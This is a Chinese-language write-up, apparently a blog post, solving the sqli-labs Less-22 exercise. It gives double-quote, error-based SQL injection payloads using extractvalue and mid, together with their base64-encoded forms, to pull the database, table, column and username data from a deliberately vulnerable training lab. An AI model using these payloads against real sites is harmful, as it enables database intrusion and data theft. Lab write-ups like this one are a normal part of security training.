该题注入手法与Less-21相似,区别在于该题注入类型为双引号注入
原理参考所给链接,本文不再赘述: [网络安全]sqli-labs Less-21 解题详析
查库名
查库名
Dumb" and extractvalue(1,concat(0x23,database()))#
这里构造"的原因可通过页面回显得出,不再赘述。
经过加密得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLGRhdGFiYXNlKCkpKSM=
可知库名为security
查表名
Dumb" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpKSkpIw==
得到四个表名
查列名
Dumb" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#
加密后得到
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWUgPSAndXNlcnMnKSkpIw==
得到三个列:
查数据
该姿势使用到mid函数,参考文章: mid函数原理、应用及实战讲解
以获取username列的数据为例,利用mid函数构造POC:
Dumb" and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLG1pZCgoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSB1c2VycyksMSwzMikpKSM=
结果如图:
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
Dumb" and extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32)))#
加密后得到:
RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLG1pZCgoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSkgZnJvbSBzZWN1cml0eS51c2VycyksMzIsMzIpKSkj
结果如图:
总结
以上为[网络安全]sqli-labs Less-22 解题详析,考察base64加密、报错注入、mid函数等知识点及姿势,后续将分享[网络安全]sqli-labs Less-23 解题详析。
我是秋说,我们下次见。